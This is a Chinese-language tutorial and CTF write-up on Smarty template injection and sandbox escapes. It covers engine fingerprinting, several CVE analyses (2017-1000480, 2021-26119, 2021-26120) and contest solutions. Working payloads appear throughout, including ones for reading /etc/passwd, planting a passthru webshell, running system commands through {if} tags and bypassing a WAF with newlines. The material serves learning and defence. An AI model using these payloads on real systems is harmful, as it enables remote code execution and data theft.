文章首发于先知社区
皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~
前言
确定攻击方式:
第一层:
第二层:
第三层:
Smarty漏洞成因:
攻击方式:
获取类的静态方法:
标签:
漏洞复现:
实战:
[NISACTF 2022]midlevel:
参考文章
Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。
学了这么多SSTI对应的模板,我们现在先放一放Smarty,谈一下如何确定模板类型,从而确定我们下一步的攻击姿势:
我们可以用三种方法来进行测试:
a{*comment*}b
,如果没用执行结果,那就进入第二层的{{7*7}}
a{*comment*}b
中,如果{**}被当作注释而输出ab,我们就可以确定这个地方是Smarty模板,如果不能,进入第三层;{{7*7}}
中,如果能够执行,那我们进入第三层。${"z".join("ab")}
,我们就能确定是Mako模板,能够直接执行python命令.<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip); // display函数把标签替换成对象的php变量;显示模板
}
这个地方对应的就是xff头处存在smarty模板,我们可以利用smarty形式来进行攻击。
$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后,我们就去找 smarty 给我们的方法:
public function getStreamVariable($variable)//variable其实就是文件路径
{
$_result = '';
$fp = fopen($variable, 'r+');//从此处开始对文件进行读取
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}
//可以看到这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法
smarty/libs/sysplugins/smarty_internal_data.php ——> getStreamVariable() 这个方法可以获取传入变量的流
例如:
{self::getStreamVariable("file:///etc/passwd")}
getStreamVariable
静态方法删除。public function writeFile($_filepath, $_contents, Smarty $smarty)
//我们可以发现第三个参数$smarty其实就是一个smarty模板类型,要求是拒绝非Smarty类型的输入,这就意味着我们需要获取对Smarty对象的引用,然后我们在smarty中找到了 self::clearConfig():
public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}
smarty/libs/sysplugins/smarty_internal_write_file.php ——> Smarty_Internal_Write_File 这个类中有一个writeFile方法
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
但是writeFile方法也有版本限制,所以我们首先要确定模板的版本,再决定对应的攻击方法。
{$smarty.version}
{$smarty.version} #获取smarty的版本号
{php}{/php}
{php}phpinfo();{/php} #执行相应的php代码
Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
{literal}
<script>language="php"></script>,
我们便可以利用这一标签进行任意的 PHP 代码执行。{literal}alert('xss');{/literal}
{if}{/if}
{if phpinfo()}{/if}
Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||
,or
,&&
,and
,is_array()
等等,如:
{if is_array($array)}{/if}
还可以用来执行命令:
{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}
重点就是沙箱逃逸的部分:
这里我们主要介绍三个漏洞,说实在有点难复现,但毕竟sp4师傅是我的大师哥,想成为sp4师傅这样的大佬,那大佬走过的路我们也是要走走的。
环境链接:Releases · smarty-php/smarty (github.com)
在下面再写一个文件,用于利用漏洞,也是漏洞的触发点display, 渲染页面以后输出结果的这个函数:
<?phpdefine('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__));
define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR.'/tmp/templates_c');
define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR.'/tmp/cache');
include_once(SMARTY_ROOT_DIR . '/smarty-3.1.31/libs/Smarty.class.php');
class testSmarty extends Smarty_Resource_Custom
{
protected function fetch($name, &$source, &$mtime)
{
$template = "CVE-2017-1000480 smarty PHP code injection";
$source = $template;
$mtime = time();
}
}
$smarty = new Smarty();
$smarty->setCacheDir(SMARTY_CACHE_DIR);
$smarty->setCompileDir(SMARTY_COMPILE_DIR);
$smarty->registerResource('test', new testSmarty);
$smarty->display('test:'.$_GET['eval']);
?>
我们来跟进smarty对象的成员方法display, 位置为 smarty-3.1.31\libs\sysplugins\smarty_internal_templatebase.php
public function display($template = null, $cache_id = null, $compile_id = null, $parent = null)
{
// display template
$this->_execute($template, $cache_id, $compile_id, $parent, 1);
}
因为我们只给display传入了一个参数,所以我们传给display的参数就是这里的局部变量$template, 然后调用了函数_execute(),跟进一下,由于这段函数非常的长,我们就只关注有关template参数的地方,贴一下师傅的图:
我们可以发现template在这段代码中,直接进入elseif语句,其结果是使用了createTemplate方法,并且将template的值进行了覆盖,然后我们对createTemplate方法进行追综,可以发现template最后被赋值成一个Smarty_Internal_Template的对象,也正如createtemplate的字面意思
然后我们再回到原来的_execute代码处,在template被赋值为一个新的模板以后,我们会进入一个try结构,然后继续去关注里面的temlate参数走向,我们跟进render:
public function render(Smarty_Internal_Template $_template, $no_output_filter = true)
{
if ($this->isCached($_template)) {
if ($_template->smarty->debugging) {
if (!isset($_template->smarty->_debug)) {
$_template->smarty->_debug = new Smarty_Internal_Debug();
}
$_template->smarty->_debug->start_cache($_template);
}
if (!$this->processed) {
$this->process($_template);
}
$this->getRenderedTemplateCode($_template);
if ($_template->smarty->debugging) {
$_template->smarty->_debug->end_cache($_template);
}
return;
} else {
$_template->smarty->ext->_updateCache->updateCache($this, $_template, $no_output_filter);
}
}
这里因为我们之前没有进行过模板缓存文件的生成会进入这里的 else,我们继续跟进 smartytemplatecompiled 类中的这个 render:
public function render(Smarty_Internal_Template $_template)
{
// checks if template exists
if (!$_template->source->exists) {
$type = $_template->source->isConfig ? 'config' : 'template';
throw new SmartyException("Unable to load {$type} '{$_template->source->type}:{$_template->source->name}'");
}
if ($_template->smarty->debugging) {
if (!isset($_template->smarty->_debug)) {
$_template->smarty->_debug = new Smarty_Internal_Debug();
}
$_template->smarty->_debug->start_render($_template);
}
if (!$this->processed) {
$this->process($_template);
}
}
第105行开始对前面生成的模板进行处理:
# smarty_template_compiled
# line about 104if (!$this->processed) {
$this->process($_template);
}
可以看到这里的 _template);跟进process
public function process(Smarty_Internal_Template $_smarty_tpl)
{
$source = &$_smarty_tpl->source;
$smarty = &$_smarty_tpl->smarty;
if ($source->handler->recompiled) {
$source->handler->process($_smarty_tpl);
} elseif (!$source->handler->uncompiled) {
if (!$this->exists || $smarty->force_compile ||
($smarty->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
) {
$this->compileTemplateSource($_smarty_tpl);
$compileCheck = $smarty->compile_check;
$smarty->compile_check = false;
$this->loadCompiledTemplate($_smarty_tpl);
$smarty->compile_check = $compileCheck;
} else {
$_smarty_tpl->mustCompile = true;
@include($this->filepath);
if ($_smarty_tpl->mustCompile) {
$this->compileTemplateSource($_smarty_tpl);
$compileCheck = $smarty->compile_check;
$smarty->compile_check = false;
$this->loadCompiledTemplate($_smarty_tpl);
$smarty->compile_check = $compileCheck;
}
}
$_smarty_tpl->_subTemplateRegister();
$this->processed = true;
}
}
process方法定义在第90行。现在初次访问,也即文件的第97行会对模板文件进行编译,即如简介中所言开始生成编译文件:
if (!$this->exists || $smarty->force_compile ||
($smarty->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
) {
$this->compileTemplateSource($_smarty_tpl);
$compileCheck = $smarty->compile_check;
$smarty->compile_check = false;
$this->loadCompiledTemplate($_smarty_tpl);
$smarty->compile_check = $compileCheck;
}
compileTemplateSource方法定义在同文件的第189行,在第203行装载完编译器后(loadCompiler()),调用write方法进行写操作:
public function compileTemplateSource(Smarty_Internal_Template $_template)
{
...
try {
// call compiler
$_template->loadCompiler();//装载编译器
$this->write($_template, $_template->compiler->compileTemplate($_template));
}
...
跟入compileTemplate方法,定义libs\sysplugins\smarty_internal_templatecompilerbase.php第330行:
public function compileTemplate(Smarty_Internal_Template $template, $nocache = null,
Smarty_Internal_TemplateCompilerBase $parent_compiler = null)
{
// get code frame of compiled template
$_compiled_code = $template->smarty->ext->_codeFrame->create($template,
$this->compileTemplateSource($template, $nocache,
$parent_compiler),
$this->postFilter($this->blockOrFunctionCode) .
join('', $this->mergedSubTemplatesCode), false,
$this);
return $_compiled_code;
}
create是生成编译文件代码的方法,定义在libs\sysplugins\smarty_internal_runtime_codeframe.php
第28行
//在第45行,在生成output内容时有如下代码:$output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") .
"\n from \"" . $_template->source->filepath . "\" */\n\n";
//将 $_template->source->filepath的内容直接拼接到了$output里。这段代码是为了生成编译文件中的注释,$output的头尾有注释符号/*和*/。
现在考虑如何利用,我们需要闭合前面的注释符号,即payload的最前面需要加上*/
。同时还要把后面的*/
给注释掉,可以在payload最后加上//
。中间填上php代码即可。另外需要注意的是,在win平台下,文件名中不允许有*
,而smarty框架的生成的编译文件的名字会含有我们的payload,所以在win下时会直接提示创建文件失败。
在linux平台下即可利用成功。
这就是Smarty下生成的临时文件的内容,其中蓝框的部分就是输出点,可以看到输出点是存在两个地方分别是在注释中以及在数组中。那么现在问题就很简单了,我们如何通过这两个输出点能够闭合其中的注释或者是代码,从而执行我们加入的代码。
然后在process中,能够将我们这个文件自动包含:
private function loadCompiledTemplate(Smarty_Internal_Template $_smarty_tpl)
{
if (function_exists('opcache_invalidate') && strlen(ini_get("opcache.restrict_api")) < 1) {
opcache_invalidate($this->filepath, true);
} elseif (function_exists('apc_compile_file')) {
apc_compile_file($this->filepath);
}
if (defined('HHVM_VERSION')) {
eval("?>" . file_get_contents($this->filepath));//就是这个位置
} else {
include($this->filepath);
}
}
eval(“?>”.file_get_contents($this->filepath)) 相当于一个远程文件包含,这里调用了 include ,我们之前写入缓存的php文件也就被包含进而执行了。
红明谷2022 web Smarty Calculator:
题目有源码的泄露:www.zip,源码泄露,分析index.php,版本号3.1.39:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Smarty calculator</title>
</head>
<body background="img/1.jpg">
<div align="center">
<h1>Smarty calculator</h1>
</div>
<div style="width:100%;text-align:center">
<form action="" method="POST">
<input type="text" style="width:150px;height:30px" name="data" placeholder=" 输入值进行计算" value="">
<br>
<input type="submit" value="Submit">
</form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);function waf($data){
$pattern = "php|\<|flag|\?";
$vpattern = explode("|", $pattern);
foreach ($vpattern as $value) {
//关键词过滤
if (preg_match("/$value/", $data)) {
echo("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>");
die();
}
}
return $data;
}
if(isset($_POST['data'])){
//COOKIE中需要由login这个东西
if(isset($_COOKIE['login'])) {
$data = waf($_POST['data']);
echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
$smarty->display("string:" . $data);
}else{
echo "<script>alert(\"你还没有登录\")</script>";
}
}
主要攻击点在display的地方,所以我们知道data这个位置可以进行Smarty模板注入,检测版本是3.1.39,此版本存在漏洞
源码对比
发现sysplugins\smarty_internal_compile_function.php有点不同,在正则过滤那块出题人进行了修改,对漏洞进行了一下加强,但是我们仍然可以进行绕过了,如果正则匹配成功,就会进入trigger_template_error函数,会导致不回显:
我们来分析一下这个正则匹配的差异,在题目给出的源码中,将!去掉,表示匹配成功即进入error;
然后a-zA-Z0-9_\x80-\xff这些包含了正常的大小写字母,数字,下划线以及不可显字符;
而后面的(.*)+
中,.匹配除了换行符以外的所有字符,*
匹配0次或者多次,+
匹配一次或者多次
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
$compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
}
所以可以换行绕过,%0A既不在前面的[]匹配里面,又不被后面的.匹配。所以我们只需要在原来的poc基础上,加上回车绕过,即可执行(我这里用了两个回车进行绕过)
data={function+name='rce(){};system("id");function%0A%0A'}{/function}
我们来剖析一下这个漏洞:注意function.math.php
这个文件:
function smarty_function_math($params, $template)
{ 首先定义了很多个true变量。
static $_allowed_funcs =
array(
'int' => true,
'abs' => true,
'ceil' => true,
'cos' => true,
'exp' => true,
'floor' => true,
'log' => true,
'log10' => true,
'max' => true,
'min' => true,
'pi' => true,
'pow' => true,
'rand' => true,
'round' => true,
'sin' => true,
'sqrt' => true,
'srand' => true,
'tan' => true
);
然后接收了参数equation,然后对这个参数进行了一些条件限制
// be sure equation parameter is present
if (empty($params[ 'equation' ])) {
trigger_error("math: missing equation parameter", E_USER_WARNING);
return;
}
$equation = $params[ 'equation' ];
// make sure parenthesis are balanced
if (substr_count($equation, '(') !== substr_count($equation, ')')) {
trigger_error("math: unbalanced parenthesis", E_USER_WARNING);
return;
}
// disallow backticks
if (strpos($equation, '`') !== false) {
trigger_error("math: backtick character not allowed in equation", E_USER_WARNING);
return;
}
// also disallow dollar signs
if (strpos($equation, '$') !== false) {
trigger_error("math: dollar signs not allowed in equation", E_USER_WARNING);
return;
}
foreach ($params as $key => $val) {
if ($key !== 'equation' && $key !== 'format' && $key !== 'assign') {
// make sure value is not empty
if (strlen($val) === 0) {
trigger_error("math: parameter '{$key}' is empty", E_USER_WARNING);
return;
}
if (!is_numeric($val)) {
trigger_error("math: parameter '{$key}' is not numeric", E_USER_WARNING);
return;
}
}
}
// match all vars in equation, make sure all are passed
preg_match_all('!(?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)!', $equation, $match);
foreach ($match[ 1 ] as $curr_var) {
if ($curr_var && !isset($params[ $curr_var ]) && !isset($_allowed_funcs[ $curr_var ])) {
trigger_error(
"math: function call '{$curr_var}' not allowed, or missing parameter '{$curr_var}'",
E_USER_WARNING
);
return;
}
}
foreach ($params as $key => $val) {
if ($key !== 'equation' && $key !== 'format' && $key !== 'assign') {
$equation = preg_replace("/\b$key\b/", " \$params['$key'] ", $equation);
}
}
$smarty_math_result = null;
[a-zA-Z*\x7f-\xff][a-zA-Z0-9*\x7f-\xff]*
表示的是PHP 中的变量,根据变量的命名规则,一个有效的变量名由字母或者下划线开头,后面跟上任意数量的字母,数字,或者下划线。按照正常的正则表达式它被写成上面这个样子 eval("\$smarty_math_result = " . $equation . ";");
if (empty($params[ 'format' ])) {
if (empty($params[ 'assign' ])) {
return $smarty_math_result;
} else {
$template->assign($params[ 'assign' ], $smarty_math_result);
}
} else {
if (empty($params[ 'assign' ])) {
printf($params[ 'format' ], $smarty_math_result);
} else {
$template->assign($params[ 'assign' ], sprintf($params[ 'format' ], $smarty_math_result));
}
}
}
借一下大佬的八进制脚本:
# python3.8#str = '("file_put_contents")("1.php","<?php eval($_POST["a"]);?>")'
str = '("system")("whoami")'
string = ''
for i in str:
#print(i)
if i == '"':
string += '\\"'
continue
if i == '(':
string += '('
continue
if i == ')':
string += ')'
continue
if i == ',':
string += ','
continue
string += '\\\\' + oct(ord(i))[2:]
print(string)
payload:
八进制:
{$poc="poc"}{math equation="()"}//写文件
找了半天这个漏洞的复现还是发现自己亲师傅写的好……
沙箱逃逸,就是在一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。在一个 Smarty 模板中,我们可以用 enableSecurity 来开启安全模式,也就相当于开启了沙箱。
<?php
include_once('../libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->enableSecurity();
$smarty->display($_GET['poc']);
通过设置 Smarty_Security 实例的一系列的参数我们可以获得更加严格的沙箱,官方文档中的实例如下
<?php
require'Smarty.class.php';
$smarty = new Smarty();
$my_security_policy = new Smarty_Security
($smarty);
// disable all PHP functions
$my_security_policy->php_functions = null;
// remove PHP tags
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
// allow everthing as modifier
$my_security_policy->$modifiers = array();
// enable security
$smarty->enableSecurity($my_security_policy);
?>
或者更严格的例子,下面这个php文件,新建一个文件夹,然后将这个文件放到这个文件夹下面,这样才能正确调用php文件,但是windows下面好像没法执行,只能是Linux下来执行:
<?php
include_once('../libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display($_GET['poc']);
最后我们的参数被传入 display,而从上面的内容可以想到,这里我们是可以进行模板注入的,而如果我们的注入的内容能够帮助我们很好地绕过这里的安全沙箱,也就是沙箱逃逸了。
CVE-2021-26120 为 SmartyInternalRuntime_TplFunction 沙箱逃逸漏洞,对应的是3.1.38版本,所利用 POC 如下:
string:{function+name='rce(){};system("id");function+'}{/function}
我们可以先利用 简单的 function 标签来进行一下测试,{functionname='test'}{/function} ,然后我们查看一下缓存文件内的内容:
/* smarty_template_function_test_8782550315ffc7c00946f78_05745875 */
if (!function_exists('smarty_template_function_test_8782550315ffc7c00946f78_05745875')) {
function smarty_template_function_test_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template $_smarty_tpl,$params) {
foreach ($params as $key => $value) {
$_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
}
}
}
/*/ smarty_template_function_test_8782550315ffc7c00946f78_05745875 */
重点是这一句话:
function smarty_template_function_test_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template$_smarty_tpl,$params)
我们将test值注入恶意代码,将两边的语句都进行一下闭合,这样的话就能在临时生成给的文件中执行我们所注入的php恶意代码:
{function+name='rce(){};system("id");function+'}{/function}
放入源代码中就是:
smarty_template_function_rce(){};system("id");function+_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template$_smarty_tpl,$params)
//我们可以发现已经进行了闭合
CVE-2021-26119 为 Smarty template_object 沙箱逃逸 PHP 代码注入漏洞,所利用 POC 如下:
string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}
请求两次后触发,请求需要触发两次的原因是第一次缓存文件被写入,然后被覆盖。第二次触发缓存并包含文件以进行远程代码执行。相关代码在 process 函数处。
这里的这个 Payload 所使用的正是我们一开始所说的类的静态方法,是对调用类中静态方法的一种绕过。静态方法中的参数不再使用 self 标签,而是使用了 smarty.template_object->compiled->filepath 两处调用。
payload1 进行的就是再将缓存文件写入自己插入的代码
payload2 进行的是先将smarty的enableSecurity()再指向了disableSecurity()再进行命令执行
payload3 进行的是Smarty_Internal_Runtime_TplFunction在tplFunctions的定义时没有正确的过滤所以导致的命令执行
打开题目界面:
说明这个界面是用smarty进行创建的,所以我们确定攻击方式就为smarty,下一步寻找注入点:
打开整道题都是说明的ip右上角也有ip,用到 x-forwarded-for试一下有没有模板注入,我们用上面的判断模板的方法来实践一下:
这里我们用smarty特有的注释符方式来验证,发现并没有回显comment的值,所以我们可以确定这个位置就是smarty模板注入。
然后我们确定版本:
{$smarty.version}
Current IP:3.1.30
//所以这个位置我们不能够使用获取类的静态方法来进行攻击,也不能用php标签来进行攻击。
//又因为php的版本是php7,所以我们不能用literal标签,最后我们使用if来进行攻击
https://www.cnblogs.com/bmjoker/p/13508538.html
Smarty 模板注入与沙箱逃逸-安全客 - 安全资讯平台 (anquanke.com)
(11条消息) PHP的模板注入(Smarty模板)_zhang三的博客-CSDN博客_php模板注入
Smarty <= 3.1.32 Remote Code execution(CVE-2017-1000480) - magic_zero - 博客园 (cnblogs.com)
Smarty PHP代码执行漏洞分析 | Spoock